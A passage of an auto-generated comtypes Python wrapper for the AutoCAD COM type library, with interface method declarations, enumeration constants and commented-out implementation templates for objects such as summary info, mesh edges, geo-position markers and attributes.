IAcad3DSolid implementation\n##class IAcad3DSolid_Impl(object):\n## @property\n## def Centroid(self):\n## '-no docstring-'\n## #return Centroid\n##\n## @property\n## def MomentOfInertia(self):\n## '-no docstring-'\n## #return momentInertia\n##\n## @property\n## def PrincipalDirections(self):\n## '-no docstring-'\n## #return prinDir\n##\n## @property\n## def PrincipalMoments(self):\n## '-no docstring-'\n## #return prinMoments\n##\n## @property\n## def ProductOfInertia(self):\n## '-no docstring-'\n## #return prodInertia\n##\n## @property\n## def RadiiOfGyration(self):\n## '-no docstring-'\n## #return radiiGyration\n##\n## @property\n## def Volume(self):\n## '-no docstring-'\n## #return Volume\n##\n## def Boolean(self, Operation, SolidObject):\n## '-no docstring-'\n## #return \n##\n## def CheckInterference(self, Object, CreateInterferenceSolid):\n## '-no docstring-'\n## #return SolidsInterfere, pIntSolid\n##\n## def SectionSolid(self, Point1, Point2, point3):\n## '-no docstring-'\n## #return pRegion\n##\n## def SliceSolid(self, Point1, Point2, point3, Negative):\n## '-no docstring-'\n## #return pNegSideSolid\n##\n## @property\n## def SolidType(self):\n## '-no docstring-'\n## #return SolidType\n##\n## def _get(self):\n## '-no docstring-'\n## #return Position\n## def _set(self, Position):\n## '-no docstring-'\n## Position = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bHistory\n## def _set(self, bHistory):\n## '-no docstring-'\n## History = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Position\n## def _set(self, Position):\n## '-no docstring-'\n## ShowHistory = property(_get, _set, doc = _set.__doc__)\n##\n\n\n# values for enumeration 'AcLayerStateMask'\nacLsNone = 0\nacLsOn = 1\nacLsFrozen = 2\nacLsLocked = 4\nacLsPlot = 8\nacLsNewViewport = 16\nacLsColor = 32\nacLsLineType = 64\nacLsLineWeight = 128\nacLsPlotStyle = 256\nacLsAll = 65535\nAcLayerStateMask = c_int # enum\n\n# values for enumeration 'AcWindowState'\nacNorm = 1\nacMin = 2\nacMax = 3\nAcWindowState = c_int # enum\nclass IAcadSummaryInfo(comtypes.gen._00020430_0000_0000_C000_000000000046_0_2_0.IDispatch):\n _case_insensitive_ = True\n _iid_ = GUID('{02E39B0D-6527-453B-B2FF-C3A31895A3A4}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadSummaryInfo._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Author',\n ( ['out', 'retval'], POINTER(BSTR), 'pAuthor' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'Author',\n ( ['in'], BSTR, 'pAuthor' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'Comments',\n ( ['out', 'retval'], POINTER(BSTR), 'pComments' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'Comments',\n ( ['in'], BSTR, 'pComments' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'HyperlinkBase',\n ( ['out', 'retval'], POINTER(BSTR), 'pHyperlinkBase' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'HyperlinkBase',\n ( ['in'], BSTR, 'pHyperlinkBase' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'Keywords',\n ( ['out', 'retval'], POINTER(BSTR), 'pKeywords' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'Keywords',\n ( ['in'], BSTR, 'pKeywords' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'LastSavedBy',\n ( ['out', 'retval'], POINTER(BSTR), 'pLastSavedBy' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'LastSavedBy',\n ( ['in'], BSTR, 'pLastSavedBy' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'RevisionNumber',\n ( ['out', 'retval'], POINTER(BSTR), 'pRevisionNumber' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'RevisionNumber',\n ( ['in'], BSTR, 'pRevisionNumber' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'Subject',\n ( ['out', 'retval'], POINTER(BSTR), 'pSubject' )),\n COMMETHOD([dispid(7), 'propput'], HRESULT, 'Subject',\n ( ['in'], BSTR, 'pSubject' )),\n COMMETHOD([dispid(8), 'propget'], HRESULT, 'Title',\n ( ['out', 'retval'], POINTER(BSTR), 'pTitle' )),\n COMMETHOD([dispid(8), 'propput'], HRESULT, 'Title',\n ( ['in'], BSTR, 'pTitle' )),\n COMMETHOD([dispid(9)], HRESULT, 'NumCustomInfo',\n ( ['out', 'retval'], POINTER(c_int), 'Index' )),\n COMMETHOD([dispid(10)], HRESULT, 'GetCustomByIndex',\n ( ['in'], c_int, 'Index' ),\n ( ['out'], POINTER(BSTR), 'pKey' ),\n ( ['out'], POINTER(BSTR), 'pValue' )),\n COMMETHOD([dispid(11)], HRESULT, 'GetCustomByKey',\n ( ['in'], BSTR, 'key' ),\n ( ['out'], POINTER(BSTR), 'pValue' )),\n COMMETHOD([dispid(12)], HRESULT, 'SetCustomByIndex',\n ( ['in'], c_int, 'Index' ),\n ( ['in'], BSTR, 'key' ),\n ( ['in'], BSTR, 'Value' )),\n COMMETHOD([dispid(13)], HRESULT, 'SetCustomByKey',\n ( ['in'], BSTR, 'key' ),\n ( ['in'], BSTR, 'Value' )),\n COMMETHOD([dispid(14)], HRESULT, 'AddCustomInfo',\n ( ['in'], BSTR, 'key' ),\n ( ['in'], BSTR, 'Value' )),\n COMMETHOD([dispid(15)], HRESULT, 'RemoveCustomByIndex',\n ( ['in'], c_int, 'Index' )),\n COMMETHOD([dispid(16)], HRESULT, 'RemoveCustomByKey',\n ( ['in'], BSTR, 'key' )),\n]\n################################################################\n## code template for IAcadSummaryInfo implementation\n##class IAcadSummaryInfo_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return pAuthor\n## def _set(self, pAuthor):\n## '-no docstring-'\n## Author = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pComments\n## def _set(self, pComments):\n## '-no docstring-'\n## Comments = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pHyperlinkBase\n## def _set(self, pHyperlinkBase):\n## '-no docstring-'\n## HyperlinkBase = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pKeywords\n## def _set(self, pKeywords):\n## '-no docstring-'\n## Keywords = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pLastSavedBy\n## def _set(self, pLastSavedBy):\n## '-no docstring-'\n## LastSavedBy = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pRevisionNumber\n## def _set(self, pRevisionNumber):\n## '-no docstring-'\n## RevisionNumber = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pSubject\n## def _set(self, pSubject):\n## '-no docstring-'\n## Subject = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pTitle\n## def _set(self, pTitle):\n## '-no docstring-'\n## Title = property(_get, _set, doc = _set.__doc__)\n##\n## def NumCustomInfo(self):\n## '-no docstring-'\n## #return Index\n##\n## def GetCustomByIndex(self, Index):\n## '-no docstring-'\n## #return pKey, pValue\n##\n## def GetCustomByKey(self, key):\n## '-no docstring-'\n## #return pValue\n##\n## def SetCustomByIndex(self, Index, key, Value):\n## '-no docstring-'\n## #return \n##\n## def SetCustomByKey(self, key, Value):\n## '-no docstring-'\n## #return \n##\n## def AddCustomInfo(self, key, Value):\n## '-no docstring-'\n## #return \n##\n## def RemoveCustomByIndex(self, Index):\n## '-no docstring-'\n## #return \n##\n## def RemoveCustomByKey(self, key):\n## '-no docstring-'\n## #return \n##\n\nclass IAcadSubDMeshEdge(IAcadSubEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{789B1F95-C0FA-4637-9AEB-B5A4C5722A86}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadSubDMeshEdge._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'CreaseType',\n ( ['out', 'retval'], POINTER(AcMeshCreaseType), 'Type' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'CreaseType',\n ( ['in'], AcMeshCreaseType, 'Type' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'CreaseLevel',\n ( ['out', 'retval'], POINTER(c_double), 'level' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'CreaseLevel',\n ( ['in'], c_double, 'level' )),\n]\n################################################################\n## code template for IAcadSubDMeshEdge implementation\n##class IAcadSubDMeshEdge_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## CreaseType = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return level\n## def _set(self, level):\n## '-no docstring-'\n## CreaseLevel = property(_get, _set, doc = _set.__doc__)\n##\n\n\n# values for enumeration 'AcKeyboardAccelerator'\nacPreferenceClassic = 0\nacPreferenceCustom = 1\nAcKeyboardAccelerator = c_int # enum\nclass AcadSubDMeshFace(CoClass):\n _reg_clsid_ = GUID('{E91DFDA0-8267-4145-8204-57EA28745430}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadSubDMeshFace._com_interfaces_ = [IAcadSubDMeshFace]\nAcadSubDMeshFace._outgoing_interfaces_ = [IAcadObjectEvents]\n\n\n# values for enumeration 'AcHatchObjectType'\nacHatchObject = 0\nacGradientObject = 1\nAcHatchObjectType = c_int # enum\n\n# values for enumeration 'AcPrinterSpoolAlert'\nacPrinterAlwaysAlert = 0\nacPrinterAlertOnce = 1\nacPrinterNeverAlertLogOnce = 2\nacPrinterNeverAlert = 3\nAcPrinterSpoolAlert = c_int # enum\nclass AcadSubDMeshEdge(CoClass):\n _reg_clsid_ = GUID('{4FB06098-DB4B-49EF-9A6E-3A58D38E8419}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadSubDMeshEdge._com_interfaces_ = [IAcadSubDMeshEdge]\nAcadSubDMeshEdge._outgoing_interfaces_ = [IAcadObjectEvents]\n\n\n# values for enumeration 'AcLoadPalette'\nacPaletteByDrawing = 0\nacPaletteBySession = 1\nAcLoadPalette = c_int # enum\nclass IAcadGeoPositionMarker(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{AA3C7098-B3B5-4506-8A3A-502309A39ADA}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadGeoPositionMarker._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Position',\n ( ['out', 'retval'], POINTER(VARIANT), 'Position' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'Position',\n ( ['in'], VARIANT, 'Position' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'TextString',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrText' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'TextString',\n ( ['in'], BSTR, 'bstrText' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'TextStyleName',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'TextStyleName',\n ( ['in'], BSTR, 'bstrName' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'TextJustify',\n ( ['out', 'retval'], POINTER(AcAttachmentPoint), 'attPoint' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'TextJustify',\n ( ['in'], AcAttachmentPoint, 'attPoint' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'DrawingDirection',\n ( ['out', 'retval'], POINTER(AcDrawingDirection), 'drawDir' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'DrawingDirection',\n ( ['in'], AcDrawingDirection, 'drawDir' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'TextWidth',\n ( ['out', 'retval'], POINTER(c_double), 'Width' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'TextWidth',\n ( ['in'], c_double, 'Width' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'Height',\n ( ['out', 'retval'], POINTER(c_double), 'Height' )),\n COMMETHOD([dispid(7), 'propput'], HRESULT, 'Height',\n ( ['in'], c_double, 'Height' )),\n COMMETHOD([dispid(8), 'propget'], HRESULT, 'Rotation',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'rotAngle' )),\n COMMETHOD([dispid(8), 'propput'], HRESULT, 'Rotation',\n ( ['in'], ACAD_ANGLE, 'rotAngle' )),\n COMMETHOD([dispid(9), 'propget'], HRESULT, 'LineSpacingFactor',\n ( ['out', 'retval'], POINTER(c_double), 'factor' )),\n COMMETHOD([dispid(9), 'propput'], HRESULT, 'LineSpacingFactor',\n ( ['in'], c_double, 'factor' )),\n COMMETHOD([dispid(10), 'propget'], HRESULT, 'LineSpacingDistance',\n ( ['out', 'retval'], POINTER(c_double), 'Value' )),\n COMMETHOD([dispid(10), 'propput'], HRESULT, 'LineSpacingDistance',\n ( ['in'], c_double, 'Value' )),\n COMMETHOD([dispid(11), 'propget'], HRESULT, 'LineSpacingStyle',\n ( ['out', 'retval'], POINTER(AcLineSpacingStyle), 'style' )),\n COMMETHOD([dispid(11), 'propput'], HRESULT, 'LineSpacingStyle',\n ( ['in'], AcLineSpacingStyle, 'style' )),\n COMMETHOD([dispid(12), 'propget'], HRESULT, 'BackgroundFill',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bUseBackgroundFill' )),\n COMMETHOD([dispid(12), 'propput'], HRESULT, 'BackgroundFill',\n ( ['in'], VARIANT_BOOL, 'bUseBackgroundFill' )),\n COMMETHOD([dispid(13), 'propget'], HRESULT, 'LandingGap',\n ( ['out', 'retval'], POINTER(c_double), 'gap' )),\n COMMETHOD([dispid(13), 'propput'], HRESULT, 'LandingGap',\n ( ['in'], c_double, 'gap' )),\n COMMETHOD([dispid(14), 'propget'], HRESULT, 'Radius',\n ( ['out', 'retval'], POINTER(c_double), 'gap' )),\n COMMETHOD([dispid(14), 'propput'], HRESULT, 'Radius',\n ( ['in'], c_double, 'gap' )),\n COMMETHOD([dispid(15), 'propget'], HRESULT, 'TextFrameDisplay',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'pVal' )),\n COMMETHOD([dispid(15), 'propput'], HRESULT, 'TextFrameDisplay',\n ( ['in'], VARIANT_BOOL, 'pVal' )),\n COMMETHOD([dispid(16), 'propget'], HRESULT, 'Latitude',\n ( ['out', 'retval'], POINTER(BSTR), 'Latitude' )),\n COMMETHOD([dispid(16), 'propput'], HRESULT, 'Latitude',\n ( ['in'], BSTR, 'Latitude' )),\n COMMETHOD([dispid(17), 'propget'], HRESULT, 'Longitude',\n ( ['out', 'retval'], POINTER(BSTR), 'Longitude' )),\n COMMETHOD([dispid(17), 'propput'], HRESULT, 'Longitude',\n ( ['in'], BSTR, 'Longitude' )),\n COMMETHOD([dispid(18), 'propget'], HRESULT, 'Altitude',\n ( ['out', 'retval'], POINTER(c_double), 'Altitude' )),\n COMMETHOD([dispid(18), 'propput'], HRESULT, 'Altitude',\n ( ['in'], c_double, 'Altitude' )),\n COMMETHOD([dispid(19), 'propget'], HRESULT, 'Notes',\n ( ['out', 'retval'], POINTER(BSTR), 'Notes' )),\n COMMETHOD([dispid(19), 'propput'], HRESULT, 'Notes',\n ( ['in'], BSTR, 'Notes' )),\n]\n################################################################\n## code template for IAcadGeoPositionMarker implementation\n##class IAcadGeoPositionMarker_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return Position\n## def _set(self, Position):\n## '-no docstring-'\n## Position = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrText\n## def _set(self, bstrText):\n## '-no docstring-'\n## TextString = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrName\n## def _set(self, bstrName):\n## '-no docstring-'\n## TextStyleName = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return attPoint\n## def _set(self, attPoint):\n## '-no docstring-'\n## TextJustify = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return drawDir\n## def _set(self, drawDir):\n## '-no docstring-'\n## DrawingDirection = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Width\n## def _set(self, Width):\n## '-no docstring-'\n## TextWidth = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Height\n## def _set(self, Height):\n## '-no docstring-'\n## Height = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return rotAngle\n## def _set(self, rotAngle):\n## '-no docstring-'\n## Rotation = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return factor\n## def _set(self, factor):\n## '-no docstring-'\n## LineSpacingFactor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Value\n## def _set(self, Value):\n## '-no docstring-'\n## LineSpacingDistance = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return style\n## def _set(self, style):\n## '-no docstring-'\n## LineSpacingStyle = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bUseBackgroundFill\n## def _set(self, bUseBackgroundFill):\n## '-no docstring-'\n## BackgroundFill = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return gap\n## def _set(self, gap):\n## '-no docstring-'\n## LandingGap = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return gap\n## def _set(self, gap):\n## '-no docstring-'\n## Radius = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return pVal\n## def _set(self, pVal):\n## '-no docstring-'\n## TextFrameDisplay = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Latitude\n## def _set(self, Latitude):\n## '-no docstring-'\n## Latitude = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Longitude\n## def _set(self, Longitude):\n## '-no docstring-'\n## Longitude = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Altitude\n## def _set(self, Altitude):\n## '-no docstring-'\n## Altitude = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Notes\n## def _set(self, Notes):\n## '-no docstring-'\n## Notes = property(_get, _set, doc = _set.__doc__)\n##\n\n\n# values for enumeration 'AcPlotPolicyForLegacyDwgs'\nacPolicyLegacyDefault = 0\nacPolicyLegacyQuery = 1\nacPolicyLegacyLegacy = 2\nAcPlotPolicyForLegacyDwgs = c_int # enum\nclass IAcadSubDMeshVertex(IAcadSubEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{D7FC1E7C-616D-41CC-BA4B-24975241BF4A}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadSubDMeshVertex._methods_ = [\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'Coordinates',\n ( ['out', 'retval'], POINTER(VARIANT), 'coord' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'Coordinates',\n ( ['in'], VARIANT, 'coord' )),\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'CreaseType',\n ( ['out', 'retval'], POINTER(AcMeshCreaseType), 'Type' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'CreaseType',\n ( ['in'], AcMeshCreaseType, 'Type' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'CreaseLevel',\n ( ['out', 'retval'], POINTER(c_double), 'level' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'CreaseLevel',\n ( ['in'], c_double, 'level' )),\n]\n################################################################\n## code template for IAcadSubDMeshVertex implementation\n##class IAcadSubDMeshVertex_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return coord\n## def _set(self, coord):\n## '-no docstring-'\n## Coordinates = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## CreaseType = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return level\n## def _set(self, level):\n## '-no docstring-'\n## CreaseLevel = property(_get, _set, doc = _set.__doc__)\n##\n\nclass IAcadAttribute(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{E666672A-F737-4D88-AB6F-2328C8B5D69A}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadAttribute._methods_ = [\n COMMETHOD([dispid(1), 'nonbrowsable', 'propget'], HRESULT, 'FieldLength',\n ( ['out', 'retval'], POINTER(c_int), 'fieldLen' )),\n COMMETHOD([dispid(1), 'nonbrowsable', 'propput'], HRESULT, 'FieldLength',\n ( ['in'], c_int, 'fieldLen' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'TagString',\n ( ['out', 'retval'], POINTER(BSTR), 'Tag' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'TagString',\n ( ['in'], BSTR, 'Tag' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'PromptString',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrPrompt' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'PromptString',\n ( ['in'], BSTR, 'bstrPrompt' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'TextString',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrText' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'TextString',\n ( ['in'], BSTR, 'bstrText' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'StyleName',\n ( ['out', 'retval'], POINTER(BSTR), 'Name' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'StyleName',\n ( ['in'], BSTR, 'Name' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'Alignment',\n ( ['out', 'retval'], POINTER(AcAlignment), 'align' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'Alignment',\n ( ['in'], AcAlignment, 'align' )),\n COMMETHOD([dispid(7), 'hidden', 'propget'], HRESULT, 'HorizontalAlignment',\n ( ['out', 'retval'], POINTER(AcHorizontalAlignment), 'horizAlign' )),\n COMMETHOD([dispid(7), 'hidden', 'propput'], HRESULT, 'HorizontalAlignment',\n ( ['in'], AcHorizontalAlignment, 'horizAlign' )),\n COMMETHOD([dispid(8), 'hidden', 'propget'], HRESULT, 'VerticalAlignment',\n ( ['out', 'retval'], POINTER(AcVerticalAlignment), 'vertiAlign' )),\n COMMETHOD([dispid(8), 'hidden', 'propput'], HRESULT, 'VerticalAlignment',\n ( ['in'], AcVerticalAlignment, 'vertiAlign' )),\n COMMETHOD([dispid(9), 'propget'], HRESULT, 'Height',\n ( ['out', 'retval'], POINTER(c_double), 'Height' )),\n COMMETHOD([dispid(9), 'propput'], HRESULT, 'Height',\n ( ['in'], c_double, 'Height' )),\n COMMETHOD([dispid(10), 'propget'], HRESULT, 'Rotation',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'rotAngle' )),\n COMMETHOD([dispid(10), 'propput'], HRESULT, 'Rotation',\n ( ['in'], ACAD_ANGLE, 'rotAngle' )),\n COMMETHOD([dispid(11), 'propget'], HRESULT, 'ScaleFactor',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'scalFactor' )),\n COMMETHOD([dispid(11), 'propput'], HRESULT, 'ScaleFactor',\n ( ['in'], ACAD_NOUNITS, 'scalFactor' )),\n COMMETHOD([dispid(12), 'propget'], HRESULT, 'ObliqueAngle',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'obliAngle' )),\n COMMETHOD([dispid(12), 'propput'], HRESULT, 'ObliqueAngle',\n ( ['in'], ACAD_ANGLE, 'obliAngle' )),\n COMMETHOD([dispid(13), 'propget'], HRESULT, 'TextAlignmentPoint',\n ( ['out', 'retval'], POINTER(VARIANT), 'alignPoint' )),\n COMMETHOD([dispid(13), 'propput'], HRESULT, 'TextAlignmentPoint',\n ( ['in'], VARIANT, 'alignPoint' )),\n COMMETHOD([dispid(14), 'propget'], HRESULT, 'InsertionPoint',\n ( ['out', 'retval'], POINTER(VARIANT), 'insPoint' )),\n COMMETHOD([dispid(14), 'propput'], HRESULT, 'InsertionPoint',\n ( ['in'], VARIANT, 'insPoint' )),\n COMMETHOD([dispid(15), 'nonbrowsable', 'propget'], HRESULT, 'Normal',\n ( ['out', 'retval'], POINTER(VARIANT), 'Normal' )),\n COMMETHOD([dispid(15), 'nonbrowsable', 'propput'], HRESULT, 'Normal',\n ( ['in'], VARIANT, 'Normal' )),\n COMMETHOD([dispid(16), 'nonbrowsable', 'propget'], HRESULT, 'TextGenerationFlag',\n ( ['out', 'retval'], POINTER(c_int), 'textGenFlag' )),\n COMMETHOD([dispid(16), 'nonbrowsable', 'propput'], HRESULT, 'TextGenerationFlag',\n ( ['in'], c_int, 'textGenFlag' )),\n COMMETHOD([dispid(17), 'propget'], HRESULT, 'Thickness',\n ( ['out', 'retval'], POINTER(c_double), 'Thickness' )),\n COMMETHOD([dispid(17), 'propput'], HRESULT, 'Thickness',\n ( ['in'], c_double, 'Thickness' )),\n COMMETHOD([dispid(18), 'nonbrowsable', 'propget'], HRESULT, 'Mode',\n ( ['out', 'retval'], POINTER(c_int), 'Mode' )),\n COMMETHOD([dispid(18), 'nonbrowsable', 'propput'], HRESULT, 'Mode',\n ( ['in'], c_int, 'Mode' )),\n COMMETHOD([dispid(19), 'propget'], HRESULT, 'UpsideDown',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bUpsideDown' )),\n COMMETHOD([dispid(19), 'propput'], HRESULT, 'UpsideDown',\n ( ['in'], VARIANT_BOOL, 'bUpsideDown' )),\n COMMETHOD([dispid(20), 'propget'], HRESULT, 'Backward',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bBackward' )),\n COMMETHOD([dispid(20), 'propput'], HRESULT, 'Backward',\n ( ['in'], VARIANT_BOOL, 'bBackward' )),\n COMMETHOD([dispid(21), 'propget'], HRESULT, 'Invisible',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInvisible' )),\n COMMETHOD([dispid(21), 'propput'], HRESULT, 'Invisible',\n ( ['in'], VARIANT_BOOL, 'bInvisible' )),\n COMMETHOD([dispid(22), 'propget'], HRESULT, 'Constant',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bConstant' )),\n COMMETHOD([dispid(22), 'propput'], HRESULT, 'Constant',\n ( ['in'], VARIANT_BOOL, 'bConstant' )),\n COMMETHOD([dispid(23), 'propget'], HRESULT, 'Verify',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVerify' )),\n COMMETHOD([dispid(23), 'propput'], HRESULT, 'Verify',\n ( ['in'], VARIANT_BOOL, 'bVerify' )),\n COMMETHOD([dispid(24), 'propget'], HRESULT, 'Preset',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bPreset' )),\n COMMETHOD([dispid(24), 'propput'], HRESULT, 'Preset',\n ( ['in'], VARIANT_BOOL, 'bPreset' )),\n COMMETHOD([dispid(25), 'propget'], HRESULT, 'LockPosition',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bLockPosition' )),\n COMMETHOD([dispid(25), 'propput'], HRESULT, 'LockPosition',\n ( ['in'], VARIANT_BOOL, 'bLockPosition' )),\n COMMETHOD([dispid(26), 'propget'], HRESULT, 'MTextAttribute',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bMTextAttribute' )),\n COMMETHOD([dispid(26), 'propput'], HRESULT, 'MTextAttribute',\n ( ['in'], VARIANT_BOOL, 'bMTextAttribute' )),\n COMMETHOD([dispid(27), 'propget'], HRESULT, 'MTextAttributeContent',\n ( ['out', 'retval'], POINTER(BSTR), 'content' )),\n COMMETHOD([dispid(27), 'propput'], HRESULT, 'MTextAttributeContent',\n ( ['in'], BSTR, 'content' )),\n COMMETHOD([dispid(28)], HRESULT, 'UpdateMTextAttribute'),\n COMMETHOD([dispid(29), 'propget'], HRESULT, 'MTextBoundaryWidth',\n ( ['out', 'retval'], POINTER(c_double), 'boundaryWidth' )),\n COMMETHOD([dispid(29), 'propput'], HRESULT, 'MTextBoundaryWidth',\n ( [], c_double, 'boundaryWidth' )),\n COMMETHOD([dispid(30), 'propget'], HRESULT, 'MTextDrawingDirection',\n ( ['out', 'retval'], POINTER(AcDrawingDirection), 'drawDir' )),\n COMMETHOD([dispid(30), 'propput'], HRESULT, 'MTextDrawingDirection',\n ( ['in'], AcDrawingDirection, 'drawDir' )),\n]\n################################################################\n## code template for IAcadAttribute implementation\n##class IAcadAttribute_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return fieldLen\n## def _set(self, fieldLen):\n## '-no docstring-'\n## FieldLength = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Tag\n## def _set(self, Tag):\n## '-no docstring-'\n## TagString = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bstrPrompt\n## def _set(self, bstrPrompt):\n## '-no docstring-'\n## PromptString = property(_get, _set, doc = 